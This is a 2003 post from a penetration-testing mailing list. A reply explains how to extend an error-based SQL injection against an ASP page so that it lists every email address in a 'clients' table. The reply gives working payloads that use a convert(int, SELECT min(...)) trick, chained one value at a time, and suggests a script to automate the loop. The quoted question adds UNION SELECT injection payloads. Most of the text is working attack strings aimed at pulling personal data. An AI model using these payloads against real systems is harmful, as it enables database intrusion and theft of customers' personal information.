From: Brass, Phil (ISS Atlanta) (PBrass@iss.net)
Date: Wed Feb 12 2003 - 14:05:02 EST
I believe the solution you're looking for is the old min-where-order-by
trick.
> ' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b
'
Try this:
> ' %2b convert(int, (SELECT min(email) FROM clients WHERE email > 'a'
order by 1)) %2b '
After you get the first value (say it's anon@isp.com), you throw it into
the where clause:
> ' %2b convert(int, (SELECT min(email) FROM clients WHERE email >
'anon@isp.com' order by 1)) %2b '
You get the next value, say it's axon@isp.com, then you do the next
query:
> ' %2b convert(int, (SELECT min(email) FROM clients WHERE email >
'axon@isp.com' order by 1)) %2b '
And so on, until you don't get an error. Of course, for most gratifying
results you write a little program that does this for you.
Phil
> -----Original Message-----
> From: Daniel Savi [mailto:dss@brturbo.com]
> Sent: Wednesday, February 12, 2003 12:49 PM
> To: pen-test@securityfocus.com
> Subject: SQL injection - get more values
>
>
>
>
> Hi :)
>
> i'm trying to get some info from clients table and email field....
>
> i try this param into gubpage.asp?=...
> ') union select sum(email) from clients--
> and got error about all queries needed...so, i tryed to solve with
> ') union select sum(email),1,1,1.... from clients--
> until i get: operand type clash: text is incompatible with int
>
> i found this answer into this forum (thanks :)), was:
> ' %2b convert(int, (SELECT email FROM clients WHERE email >
> 'a')) %2b '
>
> i got this:
> Syntax error converting the varchar value 'anon@isp.com' to a
> column of
> data type int
>
> Now, my problem: How can i get other e-mail from table
> knowing one valid
> value?
>
> i try this
> ' %2b convert(int, (SELECT email FROM clients WHERE email
> > 'anon@isp.com')) %2b '
> but no success
>
> i think i can use NOT iN, but not sure how to use with convert...
>
> Any tip are welcome!
>
> Thanks
>
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